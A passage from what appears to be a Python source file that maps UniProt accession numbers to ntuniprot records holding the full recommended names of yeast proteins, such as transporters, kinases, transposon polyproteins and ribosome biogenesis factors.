'Q08985' : ntuniprot(RecName_Full='Homocysteine S-methyltransferase 2'),
'Q08986' : ntuniprot(RecName_Full='S-adenosylmethionine permease SAM3'),
'Q08989' : ntuniprot(RecName_Full='Uncharacterized protein YPL277C'),
'Q08990' : ntuniprot(RecName_Full='Putative uncharacterized protein YPL278C'),
'Q08991' : ntuniprot(RecName_Full='Fluoride export protein 2 {ECO:0000303|PubMed:24173035}'),
'Q08992' : ntuniprot(RecName_Full='Probable glutathione-independent glyoxalase HSP32 {ECO:0000250|UniProtKB:Q04432}'),
'Q08993' : ntuniprot(RecName_Full='Putative uncharacterized protein YPR202W'),
'Q08994' : ntuniprot(RecName_Full='Putative uncharacterized protein YPR203W'),
'Q08995' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase YPR204W"),
'Q10740' : ntuniprot(RecName_Full='Leucine aminopeptidase 2 {ECO:0000303|PubMed:6352682}'),
'Q12000' : ntuniprot(RecName_Full='Translation machinery-associated protein 46'),
'Q12001' : ntuniprot(RecName_Full='Dolichyl pyrophosphate Man9GlcNAc2 alpha-1,3-glucosyltransferase'),
'Q12003' : ntuniprot(RecName_Full='Serine/threonine-protein kinase ENV7'),
'Q12004' : ntuniprot(RecName_Full='General transcription and DNA repair factor IIH subunit TFB4'),
'Q12006' : ntuniprot(RecName_Full='Palmitoyltransferase PFA4 {ECO:0000255|HAMAP-Rule:MF_03199, ECO:0000303|PubMed:16751107}'),
'Q12008' : ntuniprot(RecName_Full='Phosphoglycerate mutase 2'),
'Q12009' : ntuniprot(RecName_Full='tRNA (guanine-N(7)-)-methyltransferase {ECO:0000255|HAMAP-Rule:MF_03055}'),
'Q12010' : ntuniprot(RecName_Full='Probable vacuolar amino acid transporter YPQ1'),
'Q12012' : ntuniprot(RecName_Full='Uncharacterized protein YOR289W'),
'Q12013' : ntuniprot(RecName_Full='Probable palmitoyltransferase AKR2'),
'Q12015' : ntuniprot(RecName_Full='Transmembrane protein YOR223W'),
'Q12016' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 68'),
'Q12017' : ntuniprot(RecName_Full='Phosducin-like protein 2'),
'Q12018' : ntuniprot(RecName_Full='Cell division control protein 53'),
'Q12019' : ntuniprot(RecName_Full='Midasin'),
'Q12020' : ntuniprot(RecName_Full='Protein SRL2'),
'Q12021' : ntuniprot(RecName_Full='Radiation-sensitive protein 28'),
'Q12024' : ntuniprot(RecName_Full='Ribosome biogenesis protein YTM1 {ECO:0000255|HAMAP-Rule:MF_03029}'),
'Q12025' : ntuniprot(RecName_Full='Uncharacterized protein YDR056C'),
'Q12026' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR053C'),
'Q12027' : ntuniprot(RecName_Full='Uncharacterized protein YDL176W'),
'Q12028' : ntuniprot(RecName_Full='AP-1 complex subunit gamma-1'),
'Q12029' : ntuniprot(RecName_Full='Sideroflexin FSF1 {ECO:0000305}'),
'Q12030' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 10'),
'Q12031' : ntuniprot(RecName_Full='Mitochondrial 2-methylisocitrate lyase'),
'Q12032' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 41, mitochondrial'),
'Q12033' : ntuniprot(RecName_Full='pH-response regulator protein palA/RIM20'),
'Q12034' : ntuniprot(RecName_Full='Protein SLF1'),
'Q12035' : ntuniprot(RecName_Full='rRNA-processing protein FCF2'),
'Q12036' : ntuniprot(RecName_Full='Mitochondrial holo-[acyl-carrier-protein] synthase'),
'Q12038' : ntuniprot(RecName_Full='Lethal(2) giant larvae protein homolog SRO7'),
'Q12039' : ntuniprot(RecName_Full='ATP-dependent DNA helicase HMI1, mitochondrial'),
'Q12040' : ntuniprot(RecName_Full='Broad-specificity phosphatase YOR283W'),
'Q12041' : ntuniprot(RecName_Full='Transcriptional regulator MET32'),
'Q12042' : ntuniprot(RecName_Full='Vacuolar membrane protein YPL162C'),
'Q12043' : ntuniprot(RecName_Full='Lipase 5'),
'Q12044' : ntuniprot(RecName_Full='Regulator of calcineurin 2'),
'Q12045' : ntuniprot(RecName_Full='Spindle pole body-associated protein VIK1'),
'Q12046' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CWC2'),
'Q12048' : ntuniprot(RecName_Full='Autophagy-related protein 41 {ECO:0000303|PubMed:26565778}'),
'Q12049' : ntuniprot(RecName_Full='Protein THP3'),
'Q12050' : ntuniprot(RecName_Full='Telomere length regulation protein ELG1'),
'Q12051' : ntuniprot(RecName_Full='Geranylgeranyl pyrophosphate synthase'),
'Q12052' : ntuniprot(RecName_Full='Trimethylguanosine synthase'),
'Q12055' : ntuniprot(RecName_Full='Adenylate kinase isoenzyme 6 homolog FAP7 {ECO:0000255|HAMAP-Rule:MF_03173}'),
'Q12056' : ntuniprot(RecName_Full='Iron sulfur cluster assembly protein 2, mitochondrial'),
'Q12057' : ntuniprot(RecName_Full='[PSI+] induction protein 2'),
'Q12059' : ntuniprot(RecName_Full='NEDD8-activating enzyme E1 regulatory subunit'),
'Q12060' : ntuniprot(RecName_Full='Transcriptional coactivator HFI1/ADA1'),
'Q12063' : ntuniprot(RecName_Full='Dehydrodolichyl diphosphate synthase complex subunit NUS1 {ECO:0000305}'),
'Q12066' : ntuniprot(RecName_Full='Nuclear rim protein 1'),
'Q12067' : ntuniprot(RecName_Full='Metal homeostasis factor ATX2'),
'Q12068' : ntuniprot(RecName_Full='NADPH-dependent methylglyoxal reductase GRE2'),
'Q12069' : ntuniprot(RecName_Full='tRNA pseudouridine(32) synthase, mitochondrial'),
'Q12071' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 54'),
'Q12072' : ntuniprot(RecName_Full='ISWI one complex protein 2'),
'Q12074' : ntuniprot(RecName_Full='Spermidine synthase'),
'Q12078' : ntuniprot(RecName_Full='Iron transporter SMF3'),
'Q12079' : ntuniprot(RecName_Full='Uncharacterized membrane protein YPR027C'),
'Q12080' : ntuniprot(RecName_Full='Ribosome biogenesis protein NOP53 {ECO:0000305}'),
'Q12082' : ntuniprot(RecName_Full='Uncharacterized protein YDL157C, mitochondrial'),
'Q12083' : ntuniprot(RecName_Full='DNA mismatch repair protein MLH3'),
'Q12084' : ntuniprot(RecName_Full='Putative uridine kinase DAS2'),
'Q12085' : ntuniprot(RecName_Full='Transposon Ty1-GR1 Gag polyprotein'),
'Q12086' : ntuniprot(RecName_Full='DNA damage-inducible protein DIN7'),
'Q12088' : ntuniprot(RecName_Full='Transposon Ty1-LR1 Gag-Pol polyprotein'),
'Q12089' : ntuniprot(RecName_Full='ATPase expression protein 3'),
'Q12090' : ntuniprot(RecName_Full='RNA exonuclease 3'),
'Q12091' : ntuniprot(RecName_Full='Damage response protein 1'),
'Q12092' : ntuniprot(RecName_Full='Autophagy-related protein 29'),
'Q12093' : ntuniprot(RecName_Full='Mitochondrial tRNA-specific 2-thiouridylase 1'),
'Q12094' : ntuniprot(RecName_Full='Ribosome biogenesis protein TSR3 {ECO:0000255|HAMAP-Rule:MF_03146}'),
'Q12096' : ntuniprot(RecName_Full='Glucose N-acetyltransferase 1'),
'Q12098' : ntuniprot(RecName_Full='Structure-specific endonuclease subunit SLX4 {ECO:0000255|HAMAP-Rule:MF_03110}'),
'Q12099' : ntuniprot(RecName_Full='ATP-dependent RNA helicase FAL1'),
'Q12100' : ntuniprot(RecName_Full='Probable serine/threonine-protein kinase RTK1'),
'Q12102' : ntuniprot(RecName_Full='Cleavage factor two protein 2'),
'Q12103' : ntuniprot(RecName_Full='Putative lipase YDL109C'),
'Q12104' : ntuniprot(RecName_Full='Transcriptional protein SWT1'),
'Q12106' : ntuniprot(RecName_Full='MDM10-complementing protein 1 {ECO:0000303|PubMed:23781023}'),
'Q12107' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit 9'),
'Q12108' : ntuniprot(RecName_Full='Restriction of telomere capping protein 5'),
'Q12109' : ntuniprot(RecName_Full='Tryptophan--tRNA ligase, cytoplasmic'),
'Q12110' : ntuniprot(RecName_Full='Uncharacterized protein YLR049C'),
'Q12112' : ntuniprot(RecName_Full='Transposon Ty1-NL1 Gag-Pol polyprotein'),
'Q12113' : ntuniprot(RecName_Full='Transposon Ty2-OR1 Gag-Pol polyprotein'),
'Q12114' : ntuniprot(RecName_Full='Chitin biosynthesis protein CHS5'),
'Q12116' : ntuniprot(RecName_Full='Membrane protein TMS1'),
'Q12117' : ntuniprot(RecName_Full='Protein MRH1'),
'Q12118' : ntuniprot(RecName_Full='Small glutamine-rich tetratricopeptide repeat-containing protein 2'),
'Q12119' : ntuniprot(RecName_Full='Purine-cytosine permease FCY22'),
'Q12121' : ntuniprot(RecName_Full='Uncharacterized protein YDL211C'),
'Q12122' : ntuniprot(RecName_Full='Homocitrate synthase, mitochondrial'),
'Q12123' : ntuniprot(RecName_Full='Inactive diphosphatase DCS2'),
'Q12124' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 2'),
'Q12125' : ntuniprot(RecName_Full='Golgi to ER traffic protein 4'),
'Q12127' : ntuniprot(RecName_Full='Covalently-linked cell wall protein 12'),
'Q12128' : ntuniprot(RecName_Full='Rho-GTPase-activating protein BAG7'),
'Q12129' : ntuniprot(RecName_Full='Nonsense-mediated decay protein 4'),
'Q12132' : ntuniprot(RecName_Full='Nutrient and stress factor 1'),
'Q12133' : ntuniprot(RecName_Full='Signal peptidase complex subunit SPC3'),
'Q12134' : ntuniprot(RecName_Full='Protein HUA2'),
'Q12136' : ntuniprot(RecName_Full='Something about silencing protein 10'),
'Q12138' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR125W'),
'Q12139' : ntuniprot(RecName_Full='Zinc finger protein YPR022C'),
'Q12140' : ntuniprot(RecName_Full='Bypass of stop codon protein 1'),
'Q12141' : ntuniprot(RecName_Full='Transposon Ty1-GR1 Gag-Pol polyprotein'),
'Q12142' : ntuniprot(RecName_Full='Autophagy-related protein 9 {ECO:0000303|PubMed:14536056}'),
'Q12143' : ntuniprot(RecName_Full='Kinetochore-associated protein NSL1'),
'Q12144' : ntuniprot(RecName_Full='Pore and endoplasmic reticulum protein of 33 kDa'),
'Q12145' : ntuniprot(RecName_Full='Zinc finger protein YPR013C'),
'Q12146' : ntuniprot(RecName_Full='DNA replication complex GINS protein PSF3'),
'Q12149' : ntuniprot(RecName_Full='Exosome complex exonuclease RRP6'),
'Q12150' : ntuniprot(RecName_Full='Protein CSF1'),
'Q12151' : ntuniprot(RecName_Full='Sterol uptake control protein 2'),
'Q12152' : ntuniprot(RecName_Full='Putative serine/threonine-protein kinase YPL150W'),
'Q12153' : ntuniprot(RecName_Full='Ribosome biogenesis protein SSF2'),
'Q12154' : ntuniprot(RecName_Full='ATPase GET3 {ECO:0000255|HAMAP-Rule:MF_03112}'),
'Q12155' : ntuniprot(RecName_Full='Uncharacterized membrane protein YLR050C'),
'Q12156' : ntuniprot(RecName_Full='Protein AIM7'),
'Q12157' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit 11'),
'Q12158' : ntuniprot(RecName_Full='Sister chromatid cohesion protein 1'),
'Q12159' : ntuniprot(RecName_Full='RNA annealing protein YRA1'),
'Q12160' : ntuniprot(RecName_Full='Uncharacterized protein YPR063C'),
'Q12161' : ntuniprot(RecName_Full='RING finger protein PSH1'),
'Q12163' : ntuniprot(RecName_Full='NAP1-binding protein 2'),
'Q12164' : ntuniprot(RecName_Full='Pore membrane protein of 33 kDa'),
'Q12165' : ntuniprot(RecName_Full='ATP synthase subunit delta, mitochondrial'),
'Q12166' : ntuniprot(RecName_Full='2-isopropylmalate synthase 2, mitochondrial'),
'Q12167' : ntuniprot(RecName_Full='Required for respiratory growth protein 1, mitochondrial'),
'Q12168' : ntuniprot(RecName_Full='Endo-1,3(4)-beta-glucanase 2'),
'Q12171' : ntuniprot(RecName_Full='Mitochondrial distribution and morphology protein 32'),
'Q12172' : ntuniprot(RecName_Full='Zinc finger transcription factor YRR1'),
'Q12173' : ntuniprot(RecName_Full='Transposon Ty3-G Gag polyprotein'),
'Q12175' : ntuniprot(RecName_Full='MutS protein homolog 5'),
'Q12176' : ntuniprot(RecName_Full='Ribosome biogenesis protein MAK21'),
'Q12177' : ntuniprot(RecName_Full='Uncharacterized protein YLL056C'),
'Q12178' : ntuniprot(RecName_Full='Cytosine deaminase'),
'Q12179' : ntuniprot(RecName_Full='Uncharacterized protein YPL245W'),
'Q12180' : ntuniprot(RecName_Full='Halotolerance protein 9'),
'Q12181' : ntuniprot(RecName_Full='NADPH-dependent diflavin oxidoreductase 1 {ECO:0000255|HAMAP-Rule:MF_03178}'),
'Q12182' : ntuniprot(RecName_Full='Uncharacterized protein YOR342C'),
'Q12184' : ntuniprot(RecName_Full='Adrenodoxin homolog, mitochondrial'),
'Q12185' : ntuniprot(RecName_Full='Uncharacterized acyltransferase YDR018C'),
'Q12186' : ntuniprot(RecName_Full='Branchpoint-bridging protein'),
'Q12188' : ntuniprot(RecName_Full='Meiotic recombination protein REC8'),
'Q12189' : ntuniprot(RecName_Full='Ribose-5-phosphate isomerase'),
'Q12191' : ntuniprot(RecName_Full='Binder of USO1 and GRH1 protein 1'),
'Q12192' : ntuniprot(RecName_Full='Repression factor of MSEs protein 1'),
'Q12193' : ntuniprot(RecName_Full='Transposon Ty1-BR Gag-Pol polyprotein'),
'Q12194' : ntuniprot(RecName_Full='Uncharacterized protein YPL066W'),
'Q12196' : ntuniprot(RecName_Full='Serine/threonine-protein kinase RIO1'),
'Q12198' : ntuniprot(RecName_Full='Putative cystathionine gamma-synthase YLL058W'),
'Q12199' : ntuniprot(RecName_Full='Type 2A phosphatase activator TIP41'),
'Q12200' : ntuniprot(RecName_Full='NPC intracellular cholesterol transporter 1-related protein 1 {ECO:0000305}'),
'Q12202' : ntuniprot(RecName_Full='Outer spore wall protein 2'),
'Q12204' : ntuniprot(RecName_Full='Probable phospholipase YOR022C, mitochondrial'),
'Q12205' : ntuniprot(RecName_Full='Putative endoplasmic reticulum mannosidase MNL2'),
'Q12206' : ntuniprot(RecName_Full='Transcriptional modulator WTM2'),
'Q12207' : ntuniprot(RecName_Full='Non-classical export protein 2'),
'Q12208' : ntuniprot(RecName_Full='U6 snRNA phosphodiesterase {ECO:0000255|HAMAP-Rule:MF_03040}'),
'Q12209' : ntuniprot(RecName_Full='Probable ferric reductase transmembrane component 8'),
'Q12210' : ntuniprot(RecName_Full='Uncharacterized protein YDL009C'),
'Q12211' : ntuniprot(RecName_Full='tRNA pseudouridine synthase 1'),
'Q12212' : ntuniprot(RecName_Full='Protein SIA1'),
'Q12213' : ntuniprot(RecName_Full='60S ribosomal protein L7-B {ECO:0000303|PubMed:9559554}'),
'Q12214' : ntuniprot(RecName_Full='Histone deacetylase HOS1'),
'Q12215' : ntuniprot(RecName_Full='Cell wall integrity and stress response component 3'),
'Q12216' : ntuniprot(RecName_Full='E3 SUMO-protein ligase SIZ2'),
'Q12217' : ntuniprot(RecName_Full='Transposon Ty1-BR Gag polyprotein'),
'Q12218' : ntuniprot(RecName_Full='Cell wall protein TIR4'),
'Q12219' : ntuniprot(RecName_Full='Uncharacterized protein YOR114W'),
'Q12220' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 12'),
'Q12221' : ntuniprot(RecName_Full='mRNA-binding protein PUF2'),
'Q12222' : ntuniprot(RecName_Full='Glycogen synthase kinase-3 homolog YGK3'),
'Q12223' : ntuniprot(RecName_Full='DNA repair protein RAD59'),
'Q12224' : ntuniprot(RecName_Full='Transcription factor RLM1'),
'Q12226' : ntuniprot(RecName_Full='Trichothecene 3-O-acetyltransferase'),
'Q12229' : ntuniprot(RecName_Full='UBX domain-containing protein 3'),
'Q12230' : ntuniprot(RecName_Full='Sphingolipid long chain base-responsive protein LSP1'),
'Q12232' : ntuniprot(RecName_Full='Uncharacterized protein SLP1 {ECO:0000305}'),
'Q12233' : ntuniprot(RecName_Full='ATP synthase subunit g, mitochondrial'),
'Q12234' : ntuniprot(RecName_Full='GRIP domain-containing protein RUD3'),
'Q12235' : ntuniprot(RecName_Full='High affinity cysteine transporter'),
'Q12236' : ntuniprot(RecName_Full='Serine/threonine-protein kinase PKH2'),
'Q12239' : ntuniprot(RecName_Full='Transmembrane protein 115 homolog {ECO:0000305}'),
'Q12241' : ntuniprot(RecName_Full='Syntaxin VAM3'),
'Q12242' : ntuniprot(RecName_Full='UBA domain-containing protein RUP1'),
'Q12244' : ntuniprot(RecName_Full='Uncharacterized transcriptional regulatory protein YLL054C'),
'Q12245' : ntuniprot(RecName_Full='Proteasome chaperone 4'),
'Q12246' : ntuniprot(RecName_Full='Sphingoid long chain base kinase 4 {ECO:0000303|PubMed:9677363}'),
'Q12247' : ntuniprot(RecName_Full='rRNA-processing protein FYV7'),
'Q12248' : ntuniprot(RecName_Full='DASH complex subunit DAD1'),
'Q12250' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN5'),
'Q12251' : ntuniprot(RecName_Full='Uncharacterized mitochondrial carrier YPR011C'),
'Q12252' : ntuniprot(RecName_Full='Phosphate metabolism protein 7'),
'Q12253' : ntuniprot(RecName_Full='Uncharacterized membrane protein YLR046C'),
'Q12254' : ntuniprot(RecName_Full='Protein SVS1'),
'Q12255' : ntuniprot(RecName_Full='Vacuolar v-SNARE NYV1'),
'Q12256' : ntuniprot(RecName_Full='Polyamine transporter 4'),
'Q12257' : ntuniprot(RecName_Full='IMPACT family member YDL177C'),
'Q12259' : ntuniprot(RecName_Full='BTB/POZ domain-containing protein YLR108C'),
'Q12260' : ntuniprot(RecName_Full='Transposon Ty2-B Gag polyprotein'),
'Q12262' : ntuniprot(RecName_Full='Inner kinetochore subunit MCM16 {ECO:0000305}'),
'Q12263' : ntuniprot(RecName_Full='Serine/threonine-protein kinase GIN4'),
'Q12265' : ntuniprot(RecName_Full='Ribose-phosphate pyrophosphokinase 5'),
'Q12266' : ntuniprot(RecName_Full='Transposon Ty1-BL Gag polyprotein'),
'Q12267' : ntuniprot(RecName_Full='Structural maintenance of chromosomes protein 4'),
'Q12269' : ntuniprot(RecName_Full='Transposon Ty1-GR2 Gag-Pol polyprotein'),
'Q12270' : ntuniprot(RecName_Full='Rhomboid protein 2'),
'Q12271' : ntuniprot(RecName_Full='Polyphosphatidylinositol phosphatase INP53'),
'Q12272' : ntuniprot(RecName_Full="tRNA 2'-phosphotransferase"),
'Q12273' : ntuniprot(RecName_Full='Transposon Ty1-OL Gag-Pol polyprotein'),
'Q12274' : ntuniprot(RecName_Full='Uncharacterized protein YOR097C'),
'Q12275' : ntuniprot(RecName_Full='Uncharacterized protein YOR093C'),
'Q12276' : ntuniprot(RecName_Full='HMG2-induced ER-remodeling protein 1'),
'Q12277' : ntuniprot(RecName_Full='Exosome complex component RRP42'),
'Q12280' : ntuniprot(RecName_Full='Ras GTPase-activating-like protein IQG1'),
'Q12282' : ntuniprot(RecName_Full='Cell wall protein YOR214C'),
'Q12283' : ntuniprot(RecName_Full='Malonyl CoA-acyl carrier protein transacylase, mitochondrial'),
'Q12284' : ntuniprot(RecName_Full='FAD-linked sulfhydryl oxidase ERV2'),
'Q12285' : ntuniprot(RecName_Full='Ubiquitin-like protein MDY2'),
'Q12286' : ntuniprot(RecName_Full='Sterol uptake protein 2'),
'Q12287' : ntuniprot(RecName_Full='Cytochrome c oxidase copper chaperone'),
'Q12288' : ntuniprot(RecName_Full='Putative glutamine amidotransferase YLR126C'),
'Q12289' : ntuniprot(RecName_Full='Mitochondrial carnitine carrier'),
'Q12291' : ntuniprot(RecName_Full='25S rRNA (uridine(2843)-N(3))-methyltransferase'),
'Q12292' : ntuniprot(RecName_Full='Autophagy-related protein 34'),
'Q12293' : ntuniprot(RecName_Full='Transposon Ty2-OR2 Gag polyprotein'),
'Q12296' : ntuniprot(RecName_Full='Protein MAM3'),
'Q12297' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 3'),
'Q12298' : ntuniprot(RecName_Full='Uncharacterized ABC transporter ATP-binding protein YDR061W'),
'Q12300' : ntuniprot(RecName_Full='High-affinity glucose transporter RGT2'),
'Q12301' : ntuniprot(RecName_Full='Uncharacterized membrane protein YDL180W'),
'Q12303' : ntuniprot(RecName_Full='Aspartic proteinase yapsin-3'),
'Q12305' : ntuniprot(RecName_Full='Thiosulfate:glutathione sulfurtransferase {ECO:0000303|PubMed:24981631}'),
'Q12306' : ntuniprot(RecName_Full='Ubiquitin-like protein SMT3'),
'Q12308' : ntuniprot(RecName_Full='Transcription factor tau 60 kDa subunit'),
'Q12309' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CLF1'),
'Q12310' : ntuniprot(RecName_Full='Serine/threonine-protein kinase PRR2'),
'Q12311' : ntuniprot(RecName_Full='NuA3 HAT complex component NTO1'),
'Q12314' : ntuniprot(RecName_Full='Protein arginine N-methyltransferase SFM1 {ECO:0000305|PubMed:22650761}'),
'Q12315' : ntuniprot(RecName_Full='Nucleoporin GLE1'),
'Q12316' : ntuniprot(RecName_Full='Transposon Ty1-GR3 Gag-Pol polyprotein'),
'Q12317' : ntuniprot(RecName_Full='GTPase-activating protein MSB4'),
'Q12318' : ntuniprot(RecName_Full='Platinum sensitivity protein 3'),
'Q12320' : ntuniprot(RecName_Full='Hydroxyacylglutathione hydrolase, mitochondrial'),
'Q12321' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 1'),
'Q12322' : ntuniprot(RecName_Full='Putative uncharacterized protein YOL114C'),
'Q12324' : ntuniprot(RecName_Full='Calcium channel YVC1'),
'Q12325' : ntuniprot(RecName_Full='Sulfate permease 2'),
'Q12326' : ntuniprot(RecName_Full='Phosphoglycerate mutase 3'),
'Q12328' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM22'),
'Q12329' : ntuniprot(RecName_Full='Heat shock protein 42'),
'Q12330' : ntuniprot(RecName_Full='Small nuclear ribonucleoprotein E'),
'Q12331' : ntuniprot(RecName_Full='FAS1 domain-containing protein YDR262W'),
'Q12333' : ntuniprot(RecName_Full='Ferric/cupric reductase transmembrane component 7'),
'Q12334' : ntuniprot(RecName_Full='Protein SCM3'),
'Q12335' : ntuniprot(RecName_Full='Protoplast secreted protein 2'),
'Q12338' : ntuniprot(RecName_Full='Ribonuclease H2 subunit C'),
'Q12339' : ntuniprot(RecName_Full='rRNA-processing protein UTP23'),
'Q12340' : ntuniprot(RecName_Full='Zinc finger transcription factor YRM1'),
'Q12341' : ntuniprot(RecName_Full='Histone acetyltransferase type B catalytic subunit'),
'Q12342' : ntuniprot(RecName_Full='Protein LDB17'),
'Q12343' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 4'),
'Q12344' : ntuniprot(RecName_Full='GTPase-activating protein GYP5'),
'Q12345' : ntuniprot(RecName_Full='Ino eighty subunit 3'),
'Q12346' : ntuniprot(RecName_Full='Uncharacterized membrane protein YPR071W'),
'Q12347' : ntuniprot(RecName_Full='F-box protein HRT3'),
'Q12348' : ntuniprot(RecName_Full='COP9 signalosome complex subunit 10'),
'Q12349' : ntuniprot(RecName_Full='ATP synthase subunit H, mitochondrial'),
'Q12350' : ntuniprot(RecName_Full='J domain-containing protein 1'),
'Q12351' : ntuniprot(RecName_Full='Uncharacterized protein YOR012W'),
'Q12354' : ntuniprot(RecName_Full='Acyl-protein thioesterase 1'),
'Q12355' : ntuniprot(RecName_Full='Cell wall mannoprotein PST1'),
'Q12358' : ntuniprot(RecName_Full='Alpha-ketoglutarate-dependent sulfonate dioxygenase'),
'Q12359' : ntuniprot(RecName_Full='Ammonia transport outward protein 3'),
'Q12361' : ntuniprot(RecName_Full='G protein-coupled receptor GPR1'),
'Q12362' : ntuniprot(RecName_Full='Bifunctional protein RIB2'),
'Q12363' : ntuniprot(RecName_Full='Transcriptional modulator WTM1'),
'Q12365' : ntuniprot(RecName_Full='Spindle pole component BBP1'),
'Q12366' : ntuniprot(RecName_Full='Non-disjunction protein 1'),
'Q12367' : ntuniprot(RecName_Full='Ribosomal lysine N-methyltransferase 5 {ECO:0000303|PubMed:21460220}'),
'Q12368' : ntuniprot(RecName_Full='23 kDa U4/U6.U5 small nuclear ribonucleoprotein component'),
'Q12369' : ntuniprot(RecName_Full='Protein SFI1'),
'Q12370' : ntuniprot(RecName_Full='Seripauperin-17'),
'Q12372' : ntuniprot(RecName_Full='S-methylmethionine permease 1'),
'Q12373' : ntuniprot(RecName_Full='HAT1-interacting factor 1'),
'Q12374' : ntuniprot(RecName_Full='Nuclear control of ATPase protein 2'),
'Q12375' : ntuniprot(RecName_Full='Mitochondrial ornithine transporter 1'),
'Q12377' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN6'),
'Q12378' : ntuniprot(RecName_Full='RNA polymerase II subunit B1 CTD phosphatase RTR2'),
'Q12379' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit SWM1'),
'Q12380' : ntuniprot(RecName_Full='Autophagy protein 5'),
'Q12382' : ntuniprot(RecName_Full='CTP-dependent diacylglycerol kinase 1'),
'Q12383' : ntuniprot(RecName_Full='tRNA:m(4)X modification enzyme TRM13'),
'Q12385' : ntuniprot(RecName_Full='1-acylglycerol-3-phosphate O-acyltransferase ICT1'),
'Q12386' : ntuniprot(RecName_Full='Actin-like protein ARP8'),
'Q12387' : ntuniprot(RecName_Full='N-terminal acetyltransferase B complex subunit MDM20'),
'Q12389' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DBP10'),
'Q12390' : ntuniprot(RecName_Full='Glutathione S-transferase 2'),
'Q12391' : ntuniprot(RecName_Full='Transposon Ty1-NL1 Gag polyprotein'),
'Q12392' : ntuniprot(RecName_Full='Transposon Ty2-DR1 Gag polyprotein'),
'Q12393' : ntuniprot(RecName_Full='Genetic interactor of prohibitin 5, mitochondrial'),
'Q12395' : ntuniprot(RecName_Full='Defective in cullin neddylation protein 1'),
'Q12396' : ntuniprot(RecName_Full='Protein EMP46'),
'Q12398' : ntuniprot(RecName_Full='Probable transcription factor HMS1'),
'Q12400' : ntuniprot(RecName_Full='tRNA (guanine(9)-N1)-methyltransferase {ECO:0000305|PubMed:12702816}'),
'Q12402' : ntuniprot(RecName_Full='Protein YOP1'),
'Q12403' : ntuniprot(RecName_Full='Protein ERP3'),
'Q12404' : ntuniprot(RecName_Full='Protein disulfide-isomerase MPD1'),
'Q12405' : ntuniprot(RecName_Full='Peroxisomal membrane protein LPX1'),
'Q12406' : ntuniprot(RecName_Full='Actin-related protein 7'),
'Q12407' : ntuniprot(RecName_Full='Putative metabolite transport protein YDL199C'),
'Q12408' : ntuniprot(RecName_Full='Phosphatidylglycerol/phosphatidylinositol transfer protein'),
'Q12411' : ntuniprot(RecName_Full='Sporulation-specific protein 21'),
'Q12412' : ntuniprot(RecName_Full='Protein PNS1'),
'Q12414' : ntuniprot(RecName_Full='Transposon Ty1-PL Gag-Pol polyprotein'),
'Q12415' : ntuniprot(RecName_Full='Transcription factor tau 55 kDa subunit'),
'Q12416' : ntuniprot(RecName_Full='G1-specific transcriptional repressor WHI5'),
'Q12417' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor PRP46'),
'Q12418' : ntuniprot(RecName_Full='Protein GIS3'),
'Q12420' : ntuniprot(RecName_Full='66 kDa U4/U6.U5 small nuclear ribonucleoprotein component'),
'Q12421' : ntuniprot(RecName_Full='Autophagy-related protein 31'),
'Q12424' : ntuniprot(RecName_Full='Putative cation exchanger YDL206W'),
'Q12425' : ntuniprot(RecName_Full='Iron-sulfur assembly protein 2'),
'Q12427' : ntuniprot(RecName_Full='Protein STB3'),
'Q12428' : ntuniprot(RecName_Full='Probable 2-methylcitrate dehydratase {ECO:0000250|UniProtKB:P77243}'),
'Q12429' : ntuniprot(RecName_Full='Diphthine--ammonia ligase'),
'Q12431' : ntuniprot(RecName_Full='ER membrane protein complex subunit 6'),
'Q12432' : ntuniprot(RecName_Full='Chromatin modification-related protein EAF3'),
'Q12433' : ntuniprot(RecName_Full='Protein AHC1'),
'Q12434' : ntuniprot(RecName_Full='Rho GDP-dissociation inhibitor'),
'Q12436' : ntuniprot(RecName_Full='Zinc-regulated transporter 2'),
'Q12438' : ntuniprot(RecName_Full='Monothiol glutaredoxin-6'),
'Q12439' : ntuniprot(RecName_Full='Transposon Ty2-OR1 Gag polyprotein'),
'Q12440' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit 2'),
'Q12441' : ntuniprot(RecName_Full='Transposon Ty1-DR3 Gag polyprotein'),
'Q12442' : ntuniprot(RecName_Full='ADIPOR-like receptor IZH2'),
'Q12443' : ntuniprot(RecName_Full='Reticulon-like protein 2'),
'Q12445' : ntuniprot(RecName_Full='Nucleoporin POM34'),
'Q12446' : ntuniprot(RecName_Full='Proline-rich protein LAS17'),
'Q12447' : ntuniprot(RecName_Full='Polyamine N-acetyltransferase 1'),
'Q12449' : ntuniprot(RecName_Full='Hsp90 co-chaperone AHA1'),
'Q12450' : ntuniprot(RecName_Full='Protein ERP4'),
'Q12451' : ntuniprot(RecName_Full='Oxysterol-binding protein homolog 2'),
'Q12452' : ntuniprot(RecName_Full='3-keto-steroid reductase'),
'Q12453' : ntuniprot(RecName_Full='Cytoplasmic export protein 1'),
'Q12454' : ntuniprot(RecName_Full='Putative tyrosine-protein phosphatase OCA6'),
'Q12455' : ntuniprot(RecName_Full='Spermine synthase'),
'Q12457' : ntuniprot(RecName_Full='RNA polymerase I termination factor {ECO:0000303|PubMed:22805593}'),
'Q12458' : ntuniprot(RecName_Full='Putative reductase 1'),
'Q12459' : ntuniprot(RecName_Full='Pheromone-regulated protein PRM7'),
'Q12460' : ntuniprot(RecName_Full='Nucleolar protein 56'),
'Q12461' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 2A activator 2'),
